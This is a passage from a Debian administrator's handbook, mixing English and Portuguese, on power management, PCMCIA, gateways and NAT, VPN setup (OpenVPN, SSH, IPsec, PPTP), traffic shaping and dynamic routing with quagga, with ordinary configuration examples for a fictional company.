9.12. PowerManagementThe topic of power management isoften problematic. Indeed, properlysuspending the computer requires thatall the computer's device drivers knowhow to put them to standby, and thatthey properly reconfigure the devicesupon waking. Unfortunately, there arestill many devices unable to sleep wellunder Linux, because theirmanufacturers have not provided therequired specifications.

WORTH FOLLOWING Software suspend

The software suspend banner ralliesseveral recent efforts to integrate reliablehibernation under Linux, on disk or inmemory. Recent kernels are relativelyreliable in that regard, when used incooperation with tools of the uswsusppackage. Unfortunately the problemsrelated to hibernation are not yet ancienthistory, and you should run tests on yourhardware before putting too much faith inits ability to wake from suspend.

For those who want to learn more abouthow standby works with ACPI, MatthewGarrett has an excellent article about thisin his blog.

→ http://www.advogato.org/article/913.html

9.12.1. Advanced

9.12.1. AdvancedPower Management(APM)APM (Advanced Power Management)control is present in all Debian kernels,but disabled by default. To activate it,you add the apm=on option to the kernelparameters passed at boot time. WithLILO, you would add theappend="apm=on" directive to theblock indicating which image to boot(in the /etc/lilo.conf file), andrelaunch lilo. With GRUB2, yousimply add apm=on to theGRUB_CMDLINE_LINUX= variable in/etc/default/grub, and run update-

grub to regenerate the contents of theboot menu.

The apmd package provides a daemonthat looks for events connected toenergy management (switchingbetween AC and battery power on alaptop, etc.), and allows you to runspecific commands in response.

These days, APM is really onlyjustified on older computers that do notsupport ACPI properly. In all othercases, ACPI should be used.

9.12.2. Modern powersavings: Advanced

Configuration andPower Interface(ACPI)Linux supports ACPI (AdvancedConfiguration and Power Interface) —the most recent standard in powermanagement. More powerful andflexible, it is also more complicated toimplement. The acpid package is thecounterpart to apmd for the ACPIworld.

If you know that your BIOS correctlymanages ACPI, then this should bepreferred over APM (removed upon

update of the BIOS). When movingfrom one to the other, you must takecare to remove the apmd package,since keeping it alongside with acpidcould cause problems (and vice-versa).

ATTENTION Graphics card and standby

The graphics card driver often has aproblem with standby. In case of trouble,it is a good idea to test the latest versionof the X.org graphics server.

HARDWARE Apple and powermanagement

On Apple Powerbooks (thus PowerPCprocessors), apmd should be replaced

with pmud.

9.13. LaptopExtension Cards:PCMCIAPCMCIA card drivers are built into thekernel as modules since kernel version2.6.13. On a system running DebianSqueeze, you simply have to install theuser space support contained in thepcmciautils package.

The wireless-tools package is alsonecessary for good management ofWifi cards.

Every time you connect or remove acard, the daemon configures ordeconfigures it, by executing a script inthe /etc/pcmcia/ directory, whichgets its settings from the/etc/pcmcia/*.opts files. These fileshave been slightly adapted to workwith a Debian system; theconfiguration of the network isdelegated to ifup if the/etc/pcmcia/network.opts file doesnot take care of it. The same is true forconfiguration of a wireless network,which can be specified in/etc/network/interfaces instead of/etc/pcmcia/wireless.opts. The/usr/share/doc/wireless-

tools/README.Debian file also

describes the syntax to use.

After this overview of basic servicescommon to many Unix systems, wewill focus on the environment of theadministered machines: the network.Many services are required for thenetwork to work properly. They will bediscussed in the next chapter.

Chapter 10. Infraestruturade RedeO Linux herda toda a tradição do Unixna área de redes, e o Debian forneceum conjunto completo de ferramentaspara gerenciá-las. Este capítuloapresenta estas ferramentas.

10.1. GatewayUm gateway é um sistema de ligaçãode várias redes. Este termofrequentemente se refere ao "ponto desaída" de uma rede local no caminho

obrigatório para endereços IP externos.O gateway está ligado a cada uma dasredes que une e atua como um roteadorpara transmitir pacotes IP entre suasvárias interfaces.

DE VOLTA AO BÁSICO pacote IP

A maioria das redes atualmente utiliza oprotocolo IP (Internet Protocol). Esteprotocolo segmenta a transmissão dosdados em pacotes de tamanho limitado.Cada pacote contém, em adição aos seusdados de paylod, um número de detalhesnecessários para seu próprio roteamento.

DE VOLTA AO BÁSICO TCP/UDP

Many programs do not handle theindividual packets themselves, eventhough the data they transmit does travelover IP; they often use TCP (TransmissionControl Protocol). TCP is a layer over IPallowing the establishment of connectionsdedicated to data streams between twopoints. The programs then only see anentry point into which data can be fedwith the guarantee that the same dataexits without loss (and in the samesequence) at the exit point at the otherend of the connection. Although manykinds of errors can happen in the lowerlayers, they are compensated by TCP: lostpackets are retransmitted, and packetsarriving out of order (for example, if theyused different paths) are re-orderedappropriately.

Another protocol relying on IP is UDP

(User Datagram Protocol). In contrast toTCP, it is packet-oriented. Its goals aredifferent: the purpose of UDP is only totransmit one packet from an applicationto another. The protocol does not try tocompensate for possible packet loss onthe way, nor does it ensure that packetsare received in the same order as weresent. The main advantage to this protocolis that the latency is greatly improved,since the loss of a single packet does notdelay the receiving of all followingpackets until the lost one is retransmitted.

TCP e UDP ambos envolvem portas, quesão "números de ramal" para estabelecer acomunicação com um determinadoaplicativo em uma máquina. Este conceitopermite manter várias comunicaçõesdiferentes em paralelo com o mesmocorrespondente, desde que estas

comunicações podem ser distinguidaspelo número da porta.

Some of these port numbers —standardized by the IANA (InternetAssigned Numbers Authority) — are“well-known” for being associated withnetwork services. For instance, TCPport 25 is generally used by the emailserver.

→ http://www.iana.org/assignments/port-numbers

When a local network uses a privateaddress range (not routable on theInternet), the gateway needs toimplement address masquerading sothat the machines on the network can

communicate with the outside world.The masquerading operation is a kindof proxy operating on the networklevel: each outgoing connection froman internal machine is replaced with aconnection from the gateway itself(since the gateway does have anexternal, routable address), the datagoing through the masqueradedconnection is sent to the new one, andthe data coming back in reply is sentthrough to the masqueraded connectionto the internal machine. The gatewayuses a range of dedicated TCP ports forthis purpose, usually with very highnumbers (over 60000). Eachconnection coming from an internalmachine then appears to the outside

world as a connection coming from oneof these reserved ports.

CULTURA Série de Endereços Privados

RFC 1918 defines three ranges of IPv4addresses not meant to be routed on theInternet but only used in local networks.The first one, 10.0.0.0/8 (see sidebar DEVOLTA AO BÁSICO Conceitos essenciaisde rede (Ethernet, endereço IP, sub-rede,broadcast).), is a class-A range (with 224

IP addresses). The second one,172.16.0.0/12, gathers 16 class-B ranges(172.16.0.0/16 to 172.31.0.0/16), eachcontaining 216 IP addresses. Finally,192.168.0.0/16 is a class-B range(grouping 256 class-C ranges,192.168.0.0/24 to 192.168.255.0/24,with 256 IP addresses each).

→ http://www.faqs.org/rfcs/rfc1918.html

The gateway can also perform twokinds of network address translation(or NAT for short). The first kind,Destination NAT (DNAT) is atechnique to alter the destination IPaddress (and/or the TCP or UDP port)for a (generally) incoming connection.The connection tracking mechanismalso alters the following packets in thesame connection to ensure continuityin the communication. The second kindof NAT is Source NAT (SNAT), ofwhich masquerading is a particularcase; SNAT alters the source IPaddress (and/or the TCP or UDP port)

of a (generally) outgoing connection.As for DNAT, all the packets in theconnection are appropriately handledby the connection tracking mechanism.Note that NAT is only relevant for IPv4and its limited address space; in IPv6,the wide availability of addressesgreatly reduces the usefulness of NATby allowing all “internal” addresses tobe directly routable on the Internet(this does not imply that internalmachines are accessible, sinceintermediary firewalls can filtertraffic).

DE VOLTA AO BÁSICOEncaminhamento de porta

A concrete application of DNAT is portforwarding. Incoming connections to agiven port of a machine are forwarded toa port on another machine. Othersolutions may exist for achieving asimilar effect, though, especially at theapplication level with ssh (seeSection 9.2.2.3, “Criando TúneisCriptografados com Encaminhamento dePorta”) or redir.

Enough theory, let's get practical.Turning a Debian system into agateway is a simple matter of enablingthe appropriate option in the Linuxkernel, by way of the /proc/ virtualfilesystem:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

This option can also be automaticallyenabled on boot if /etc/sysctl.confsets thenet.ipv4.conf.default.forwarding

option to 1.

Example 10.1. O arquivo/etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1

net.ipv4.conf.default.rp_filter = 1

net.ipv4.tcp_syncookies = 1

The same effect can be obtained forIPv6 by simply replacing ipv4 withipv6 in the manual command andusing thenet.ipv6.conf.all.forwarding line

in /etc/sysctl.conf.

Enabling IPv4 masquerading is aslightly more complex operation thatinvolves configuring the netfilterfirewall.

Similarly, using NAT (for IPv4)requires configuring netfilter. Since theprimary purpose of this component ispacket filtering, the details are listed inChapter 14: “Segurança” (seeSection 14.2, “Firewall ou Filtragem depacotes”).

10.2. Rede PrivadaVirtualA Virtual Private Network (VPN forshort) is a way to link two differentlocal networks through the Internet byway of a tunnel; the tunnel is usuallyencrypted for confidentiality. VPNs areoften used to integrate a remotemachine within a company's localnetwork.

Several tools provide this. OpenVPN isan efficient solution, easy to deployand maintain, based on SSL/TLS.Another possibility is using IPsec to

encrypt IP traffic between twomachines; this encryption istransparent, which means thatapplications running on these hostsneed not be modified to take the VPNinto account. SSH can also be used toprovide a VPN, in addition to its moreconventional features. Finally, a VPNcan be established using Microsoft'sPPTP protocol. Other solutions exist,but are beyond the focus of this book.

10.2.1. OpenVPNOpenVPN is a piece of softwarededicated to creating virtual privatenetworks. Its setup involves creating

virtual network interfaces on the VPNserver and on the client(s); both tun(for IP-level tunnels) and tap (forEthernet-level tunnels) interfaces aresupported. In practice, tun interfaceswill most often be used except whenthe VPN clients are meant to beintegrated into the server's localnetwork by way of an Ethernet bridge.

OpenVPN relies on OpenSSL for allthe SSL/TLS cryptography andassociated features (confidentiality,authentication, integrity, non-repudiation). It can be configuredeither with a shared private key orusing X.509 certificates based on apublic key infrastructure. The latter

configuration is strongly preferredsince it allows greater flexibility whenfaced with a growing number ofroaming users accessing the VPN.

CULTURA SSL e TLS

The SSL protocol (Secure Socket Layer)was invented by Netscape to secureconnections to web servers. It was laterstandardized by IETF under the acronymTLS (Transport Layer Security); TLS isvery similar to SSLv3 with only a fewfixes and improvements.

10.2.1.1. Infraestrutura deChaves Públicas: easy-rsa

The RSA algorithm is widely used inpublic-key cryptography. It involves a“key pair”, comprised of a private anda public key. The two keys are closelylinked to each other, and theirmathematical properties are such that amessage encrypted with the public keycan only be decrypted by someoneknowing the private key, which ensuresconfidentiality. In the oppositedirection, a message encrypted with theprivate key can be decrypted by anyoneknowing the public key, which allowsauthenticating the origin of a messagesince only someone with access to theprivate key could generate it. Whenassociated with a digital hash function(MD5, SHA1, or a more recent

variant), this leads to a signaturemechanism that can be applied to anymessage.

However, anyone can create a key pair,store any identity on it, and pretend tobe the identity of their choice. Onesolution involves the concept of aCertification Authority (CA),formalized by the X.509 standard. Thisterm covers an entity that holds atrusted key pair known as a rootcertificate. This certificate is only usedto sign other certificates (key pairs),after proper steps have been undertakento check the identity stored on the keypair. Applications using X.509 can thencheck the certificates presented to

them, if they know about the trustedroot certificates.

OpenVPN follows this rule. Sincepublic CAs only emit certificates inexchange for a (hefty) fee, it is alsopossible to create a private certificationauthority within the company. For thatpurpose, OpenVPN provides the easy-rsa tool which serves as an X.509certification infrastructure. Itsimplementation is a set of scripts usingthe openssl command; these scripts canbe found under/usr/share/doc/openvpn/examples/easy-

rsa/2.0/.

The Falcot Corp administrators use thistool to create the required certificates,

both for the server and the clients. Thisallows the configuration of all clientsto be similar since they will only haveto be set up so as to trust certificatescoming from Falcot's local CA. ThisCA is the first certificate to create; tothis end, the administrators copy thedirectory containing easy-rsa into amore appropriate location, preferablyon a machine not connected to thenetwork in order to mitigate the risk ofthe CA's private key being stolen.

$ cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0 pki-falcot

$ cd pki-falcot

They then store the requiredparameters into the vars file,

especially those named with a KEY_prefix; these variables are thenintegrated into the environment:

$ vim vars

$ grep KEY_ vars

export KEY_CONFIG=`$EASY_RSA/whichopensslcnf $EASY_RSA`

export KEY_DIR="$EASY_RSA/keys"

echo NOTE: If you run ./clean-all, I will be doing a rm -rf on $KEY_DIR

export KEY_SIZE=1024

export KEY_EXPIRE=3650

export KEY_COUNTRY="FR"

export KEY_PROVINCE="Loire"

export KEY_CITY="Saint-Étienne"

export KEY_ORG="Falcot Corp"

export KEY_EMAIL="[email protected]"

$ . ./vars

NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/rhertzog/pki-falcot/keys

$ ./clean-all

The next step is the creation of theCA's key pair itself (the two parts ofthe key pair will be stored underkeys/ca.crt and keys/ca.key duringthis step):

$ ./build-ca

Generating a 1024 bit RSA private key

..............................................++++++

.......................++++++

writing new private key to 'ca.key'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [FR]:

State or Province Name (full name) [Loire]:

Locality Name (eg, city) [Saint-Étienne]:

Organization Name (eg, company) [Falcot Corp]:

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostname) [Falcot Corp CA]:

Name []:

Email Address [[email protected]]:

The certificate for the VPN server cannow be created, as well as the Diffie-Hellman parameters required for theserver side of an SSL/TLS connection.The VPN server is identified by itsDNS name vpn.falcot.com; this nameis re-used for the generated key files(keys/vpn.falcot.com.crt for thepublic certificate,keys/vpn.falcot.com.keyfor theprivate key):

$ ./build-key-server vpn.falcot.com

Generating a 1024 bit RSA private key

...............++++++

...........++++++

writing new private key to 'vpn.falcot.com.key'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [FR]:

State or Province Name (full name) [Loire]:

Locality Name (eg, city) [Saint-Étienne]:

Organization Name (eg, company) [Falcot Corp]:

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostname) [vpn.falcot.com]:

Name []:

Email Address [[email protected]]:

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []:

An optional company name []:

Using configuration from /home/rhertzog/pki-falcot/openssl.cnf

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

countryName :PRINTABLE:'FR'

stateOrProvinceName :PRINTABLE:'Loire'

localityName :T61STRING:'Saint-\0xFFFFFFC3\0xFFFFFF89tienne'

organizationName :PRINTABLE:'Falcot Corp'

commonName :PRINTABLE:'vpn.falcot.com'

emailAddress :IA5STRING:'[email protected]'

Certificate is to be certified until Oct 9 13:57:42 2020 GMT (3650 days)

Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]

Write out database with 1 new entries

Data Base Updated

$ ./build-dh

Generating DH parameters, 1024 bit long safe prime, generator 2

This is going to take a long time

..............+.......+.................................++*++*++*

O próximo passo cria certificados paraos clientes VPN; um certificado énecessário para cada computar oupessoa ser autorizada a usar a VPN:

$ ./build-key JoeSmith

Generating a 1024 bit RSA private key

................++++++

.............................++++++

writing new private key to 'JoeSmith.key'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [FR]:

State or Province Name (full name) [Loire]:

Locality Name (eg, city) [Saint-Étienne]:

Organization Name (eg, company) [Falcot Corp]:

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostname) [JoeSmith]:

Name []:

Email Address [[email protected]]:

[…]

Now all certificates have been created,they need to be copied whereappropriate: the root certificate's publickey (keys/ca.crt) will be stored onall machines (both server and clients)as /etc/ssl/certs/Falcot_CA.crt.The server's certificate is installed only

on the server(keys/vpn.falcot.com.crt goes to/etc/ssl/vpn.falcot.com.crt, andkeys/vpn.falcot.com.key goes to/etc/ssl/private/vpn.falcot.com.key

with restricted permissions so that onlythe administrator can read it), with thecorresponding Diffie-Hellmanparameters (keys/dh1024.pem)installed to/etc/openvpn/dh1024.pem. Clientcertificates are installed on thecorresponding VPN client in a similarfashion.

10.2.1.2. Configurando oServidor OpenVPN

By default, the OpenVPN initializationscript tries starting all virtual privatenetworks defined in/etc/openvpn/*.conf. Setting up aVPN server is therefore a matter ofstoring a corresponding configurationfile in this directory. A good startingpoint is/usr/share/doc/openvpn/examples/sample-

config-files/server.conf.gz,which leads to a rather standard server.Of course, some parameters need to beadapted: ca, cert, key and dh need todescribe the selected locations(respectively,/etc/ssl/certs/Falcot_CA.crt,/etc/ssl/vpn.falcot.com.crt,/etc/ssl/private/vpn.falcot.com.key

and /etc/openvpn/dh1024.pem). The

server 10.8.0.0 255.255.255.0

directive defines the subnet to be usedby the VPN; the server uses the first IPaddress in that range (10.8.0.1) andthe rest of the addresses are allocatedto clients.

With this configuration, startingOpenVPN creates the virtual networkinterface, usually under the tun0 name.However, firewalls are oftenconfigured at the same time as the realnetwork interfaces, which happensbefore OpenVPN starts. Good practicetherefore recommends creating apersistent virtual network interface,and configuring OpenVPN to use thispre-existing interface. This furtherallows choosing the name for this

interface. To this end, openvpn --mktun --dev vpn --dev-type tuncreates a virtual network interfacenamed vpn with type tun; thiscommand can easily be integrated inthe firewall configuration script, or inan up directive of the/etc/network/interfaces file. TheOpenVPN configuration file must alsobe updated accordingly, with the devvpn and dev-type tun directives.

Barring further action, VPN clients canonly access the VPN server itself byway of the 10.8.0.1 address. Grantingthe clients access to the local network(192.168.0.0/24), requires adding apush route 192.168.0.0

255.255.255.0 directive to the

OpenVPN configuration so that VPNclients automatically get a networkroute telling them that this network isreachable by way of the VPN.Furthermore, machines on the localnetwork also need to be informed thatthe route to the VPN goes through theVPN server (this automatically workswhen the VPN server is installed on thegateway). Alternatively, the VPNserver can be configured to perform IPmasquerading so that connectionscoming from VPN clients appear as ifthey are coming from the VPN serverinstead (see Section 10.1, “Gateway”).

10.2.1.3. Configurando o

Cliente OpenVPN

Setting up an OpenVPN client alsorequires creating a configuration file in/etc/openvpn/. A standardconfiguration can be obtained by using/usr/share/doc/openvpn/examples/sample-

config-files/client.conf as astarting point. The remotevpn.falcot.com 1194 directivedescribes the address and port of theOpenVPN server; the ca, cert and keyalso need to be adapted to describe thelocations of the key files.

If the VPN should not be startedautomatically on boot, set theAUTOSTART directive to none in the

/etc/default/openvpn file. Startingor stopping a given VPN connection isalways possible with the commands/etc/init.d/openpvn start name and/etc/init.d/openpvn stop name (wherethe connection name matches the onedefined in /etc/openvpn/name.conf).

The network-manager-openvpn-gnomepackage contains an extension toNetwork Manager (see Section 8.2.4,“Configuração Automática de Redepara Usuários em Roaming”) thatallows managing OpenVPN virtualprivate networks. This allows everyuser to configure OpenVPNconnections graphically and to controlthem from the network management

icon.

10.2.2. Rede PrivadaVirtual com SSHThere are actually two ways of creatinga virtual private network with SSH.The historic one involves establishing aPPP layer over the SSH link. Thismethod is described in a HOWTOdocument:

→ http://www.tldp.org/HOWTO/ppp-ssh/

The second method is more recent, andwas introduced with OpenSSH 4.3; it is

now possible for OpenSSH to createvirtual network interfaces (tun*) onboth sides of an SSH connection, andthese virtual interfaces can beconfigured exactly as if they werephysical interfaces. The tunnelingsystem must first be enabled by settingPermitTunnel to “yes” in the SSHserver configuration file(/etc/ssh/sshd_config). Whenestablishing the SSH connection, thecreation of a tunnel must be explicitlyrequested with the -w any:any option(any can be replaced with the desiredtun device number). This requires theuser to have administrator privilege onboth sides, so as to be able to create thenetwork device (in other words, the

connection must be established asroot).

Both methods for creating a virtualprivate network over SSH are quitestraightforward. However, the VPNthey provide is not the most efficientavailable; in particular, it does nothandle high levels of traffic very well.

The explanation is that when a TCP/IPstack is encapsulated within a TCP/IPconnection (for SSH), the TCP protocolis used twice, once for the SSHconnection and once within the tunnel.This leads to problems, especially dueto the way TCP adapts to networkconditions by altering timeout delays.

The following site describes theproblem in more detail:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs over SSH should therefore berestricted to one-off tunnels with noperformance constraints.

10.2.3. IPsecIPsec, despite being the standard in IPVPNs, is rather more involved in itsimplementation. The IPsec engineitself is integrated in the Linux kernel;the required user-space parts, the

control and configuration tools, areprovided by the ipsec-tools package. Inconcrete terms, each host's/etc/ipsec-tools.conf contains theparameters for IPsec tunnels (orSecurity Associations, in the IPsecterminology) that the host is concernedwith; /etc/init.d/setkey script providesa way to start and stop a tunnel (eachtunnel is a secure link to another hostconnected to the virtual privatenetwork). This file can be built by handfrom the documentation provided bythe setkey(8) manual page. However,explicitly writing the parameters for allhosts in a non-trivial set of machinesquickly becomes an arduous task, sincethe number of tunnels grows fast.

Installing an IKE daemon (for IPsecKey Exchange) such as racoon,strongswan or openswan makes theprocess much simpler by bringingadministration together at a centralpoint, and more secure by rotating thekeys periodically.

In spite of its status as the reference,the complexity of setting up IPsecrestricts its usage in practice.OpenVPN-based solutions willgenerally be preferred when therequired tunnels are neither too manynor too dynamic.

CUIDADO IPsec e NAT

NATing firewalls and IPsec do not workwell together: since IPsec signs thepackets, any change on these packets thatthe firewall might perform will void thesignature, and the packets will be rejectedat their destination. Various IPsecimplementations now include the NAT-Ttechnique (for NAT Traversal), whichbasically encapsulates the IPsec packetwithin a standard UDP packet.

SEGURANÇA IPsec e firewalls

The standard mode of operation of IPsecinvolves data exchanges on UDP port 500for key exchanges (also on UDPport 4500 if case NAT-T is in use).Moreover, IPsec packets use twodedicated IP protocols that the firewallmust let through; reception of these

packets is based on their protocolnumbers, 50 (ESP) and 51 (AH).

10.2.4. PPTPPPTP (for Point-to-Point TunnelingProtocol) uses two communicationchannels, one for control data and onefor payload data; the latter uses theGRE protocol (Generic RoutingEncapsulation). A standard PPP link isthen set up over the data exchangechannel.

10.2.4.1. Configurando o

Cliente

The pptp-linux package contains aneasily-configured PPTP client forLinux. The following instructions taketheir inspiration from the officialdocumentation:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

The Falcot administrators createdseveral files:/etc/ppp/options.pptp,/etc/ppp/peers/falcot,/etc/ppp/ip-up.d/falcot, and/etc/ppp/ip-down.d/falcot.

Example 10.2. O arquivo/etc/ppp/options.pptp

# PPP options used for a PPTP connection

lock

noauth

nobsdcomp

nodeflate

Example 10.3. O arquivo/etc/ppp/peers/falcot

# vpn.falcot.com is the PPTP server

pty "pptp vpn.falcot.com --nolaunchpppd"

# the connection will identify as the "vpn" user

user vpn

remotename pptp

# encryption is needed

require-mppe-128

file /etc/ppp/options.pptp

ipparam falcot

Example 10.4. O arquivo/etc/ppp/ip-up.d/falcot

# Create the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

route add -net 192.168.0.0 netmask 255.255.255.0 dev $1

fi

Example 10.5. O arquivo/etc/ppp/ip-down.d/falcot

# Delete the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

route del -net 192.168.0.0 netmask 255.255.255.0 dev $1

fi

SEGURANÇA MPPE

Securing PPTP involves using the MPPEfeature (Microsoft Point-to-PointEncryption), which is available in officialDebian kernels as a module.

10.2.4.2. Configurando oServidor

CUIDADO PPTP e firewalls

Intermediate firewalls need to beconfigured to let through IP packets usingprotocol 47 (GRE). Moreover, the PPTPserver's port 1723 needs to be open sothat the communication channel canhappen.

pptpd is the PPTP server for Linux. Itsmain configuration file,/etc/pptpd.conf, requires very fewchanges: localip (local IP address) and

remoteip (remote IP address). In theexample below, the PPTP serveralways uses the 192.168.0.199address, and PPTP clients receive IPaddresses from 192.168.0.200 to192.168.0.250.

Example 10.6. O arquivo/etc/pptpd.conf

# TAG: speed

#

# Specifies the speed for the PPP daemon to talk at.

#

speed 115200

# TAG: option

#

# Specifies the location of the PPP options file.

# By default PPP looks in '/etc/ppp/options'

#

option /etc/ppp/pptpd-options

# TAG: debug

#

# Turns on (more) debugging to syslog

#

# debug

# TAG: localip

# TAG: remoteip

#

# Specifies the local and remote IP address ranges.

#

# You can specify single IP addresses separated by commas or you can

# specify ranges, or both. For example:

#

# 192.168.0.234,192.168.0.245-249,192.168.0.254

#

# IMPORTANT RESTRICTIONS:

#

# 1. No spaces are permitted between commas or within addresses.

#

# 2. If you give more IP addresses than MAX_CONNECTIONS, it will

# start at the beginning of the list and go until it gets

# MAX_CONNECTIONS IPs. Others will be ignored.

#

# 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,

# you must type 234-238 if you mean this.

#

# 4. If you give a single localIP, that's ok - all local IPs will

# be set to the given one. You MUST still give at least one remote

# IP for each simultaneous client.

#

#localip 192.168.0.234-238,192.168.0.245

#remoteip 192.168.1.234-238,192.168.1.245

#localip 10.0.1.1

#remoteip 10.0.1.2-100

localip 192.168.0.199

remoteip 192.168.0.200-250

The PPP configuration used by thePPTP server also requires a fewchanges in /etc/ppp/pptpd-options.

The important parameters are theserver name (pptp), the domain name(falcot.com), and the IP addresses forDNS and WINS servers.

Example 10.7. O arquivo/etc/ppp/pptpd-options

## turn pppd syslog debugging on

#debug

## change 'servername' to whatever you specify as your server name in chap-secrets

name pptp

## change the domainname to your local domain

domain falcot.com

## these are reasonable defaults for WinXXXX clients

## for the security related settings

# The Debian pppd package now supports both MSCHAP and MPPE, so enable them

# here. Please note that the kernel support for MPPE must also be present!

auth

require-chap

require-mschap

require-mschap-v2

require-mppe-128

## Fill in your addresses

ms-dns 192.168.0.1

ms-wins 192.168.0.1

## Fill in your netmask

netmask 255.255.255.0

## some defaults

nodefaultroute

proxyarp

lock

The last step involves registering thevpn user (and the associated password)in the /etc/ppp/chap-secrets file.Contrary to other instances where an

asterisk (*) would work, the servername must be filled explicitly here.Furthermore, Windows PPTP clientsidentify themselves under theDOMAIN\\USER form, instead of onlyproviding a user name. This explainswhy the file also mentions theFALCOT\\vpn user. It is also possible tospecify individual IP addresses forusers; an asterisk in this field specifiesthat dynamic addressing should beused.

Example 10.8. O arquivo/etc/ppp/chap-secrets

# Secrets for authentication using CHAP

# client server secret IP addresses

vpn pptp f@Lc3au *

FALCOT\\vpn pptp f@Lc3au *

SEGURANÇA Vulnerabilidades PPTP

Microsoft's first PPTP implementationdrew severe criticism because it had manysecurity vulnerabilities; most have sincethen been fixed in more recent versions.The configuration documented in thissection uses the latest version of theprotocol. Be aware though that removingsome options (such as require-mppe-128and require-mschap-v2) would make theservice vulnerable again.

10.3. Qualidade doServiço

10.3.1. Princípio eMecanismoQuality of Service (or QoS for short)refers to a set of techniques thatguarantee or improve the quality of theservice provided to applications. Themost popular such technique involvesclassifying the network traffic intocategories, and differentiating thehandling of traffic according to which

category it belongs to. The mainapplication of this differentiatedservices concept is traffic shaping,which limits the data transmissionrates for connections related to someservices and/or hosts so as not tosaturate the available bandwidth andstarve important other services. Trafficshaping is a particularly good fit forTCP traffic, since this protocolautomatically adapts to availablebandwidth.

It is also possible to alter the prioritieson traffic, which allows prioritizingpackets related to interactive services(such as ssh and telnet) or to servicesthat only deal with small blocks of

data.

The Debian kernels include the featuresrequired for QoS along with theirassociated modules. These modules aremany, and each of them provides adifferent service, most notably by wayof special schedulers for the queues ofIP packets; the wide range of availablescheduler behaviors spans the wholerange of possible requirements.

CULTURE LARTC — Linux AdvancedRouting & Traffic Control

The Linux Advanced Routing & TrafficControl HOWTO is the referencedocument covering everything there is toknow about network quality of service.

→ http://www.lartc.org/howto/

10.3.2. Configurando eimplementandoQoS parameters are set through the tccommand (provided by the iproutepackage). Since its interface is quitecomplex, using higher-level tools isrecommended.

10.3.2.1. ReduzindoLatências: wondershaper

The main purpose of wondershaper (in

the similarly-named package) is tominimize latencies independent ofnetwork load. This is achieved bylimiting total traffic to a value thatfalls just short of the link saturationvalue.

Once a network interface is configured,setting up this traffic limitation isachieved by running wondershaperinterface download_rateupload_rate. The interface can beeth0 or ppp0 for example, and bothrates are expressed in kilobits persecond. The wondershaper removeinterface command disables trafficcontrol on the specified interface.

For an Ethernet connection, this scriptis best called right after the interface isconfigured. This is done by adding upand down directives to the/etc/network/interfaces fileallowing declared commands to be run,respectively, after the interface isconfigured and before it isdeconfigured. For example:

Example 10.9. Mudanças no arquivo/etc/network/interfaces

iface eth0 inet dhcp

up /sbin/wondershaper eth0 500 100

down /sbin/wondershaper remove eth0

In the PPP case, creating a script thatcalls wondershaper in /etc/ppp/ip-

up.d/ will enable traffic control assoon as the connection is up.

GOING FURTHER Optimalconfiguration

The/usr/share/doc/wondershaper/README.Debian.gz

file describes, in some detail, theconfiguration method recommended bythe package maintainer. In particular, itadvises measuring the download andupload speeds so as to best evaluate reallimits.

10.3.2.2. ConfiguraçãoPadrão

Barring a specific QoS configuration,the Linux kernel uses the pfifo_fastqueue scheduler, which provides a fewinteresting features by itself. Thepriority of each processed IP packet isbased on the ToS field (Type ofService) of this packet; modifying thisfield is enough to take advantage of thescheduling features. There are fivepossible values:

Normal-Service (0);Minimize-Cost (2);Maximize-Reliability (4);Maximize-Throughput (8);Minimize-Delay (16).

The ToS field can be set by

applications that generate IP packets,or modified on the fly by netfilter. Thefollowing rules are sufficient toincrease responsiveness for a server'sSSH service:

iptables -t mangle -A PREROUTING -p tcp --sport ssh -j TOS --set-tos Minimize-Delay

iptables -t mangle -A PREROUTING -p tcp --dport ssh -j TOS --set-tos Minimize-Delay

10.4. RoteamentoDinâmicoThe reference tool for dynamic routingis currently quagga, from thesimilarly-named package; it used to bezebra until development of the latterstopped. However, quagga kept thenames of the programs forcompatibility reasons which explainsthe zebra commands below.

DE VOLTA AO BÁSICO Roteamentodinâmico

Dynamic routing allows routers to adjust,

in real time, the paths used fortransmitting IP packets. Each protocolinvolves its own method of definingroutes (shortest path, use routesadvertised by peers, and so on).

In the Linux kernel, a route links anetwork device to a set of machines thatcan be reached through this device. Theroute command defines new routes anddisplays existing ones.

Quagga is a set of daemons cooperatingto define the routing tables to be usedby the Linux kernel; each routingprotocol (most notably BGP, OSPF andRIP) provides its own daemon. Thezebra daemon collects informationfrom other daemons and handles static

routing tables accordingly. The otherdaemons are known as bgpd, ospfd,ospf6d, ripd, and ripngd.

Daemons are enabled by editing the/etc/quagga/daemons file andcreating the appropriate configurationfile in /etc/quagga/; thisconfiguration file must be named afterthe daemon, with a .conf extension,and belong to the quagga user and thequaggavty group, in order for the/etc/init.d/quagga script to invokethe daemon.

The configuration of each of thesedaemons requires knowledge of therouting protocol in question. These

protocols cannot be described in detailhere, but the quagga-doc providesample explanation in the form of aninfo file. The same contents may bemore easily browsed as HTML on theQuagga website:

→ http://www.quagga.net/docs/docs-info.php

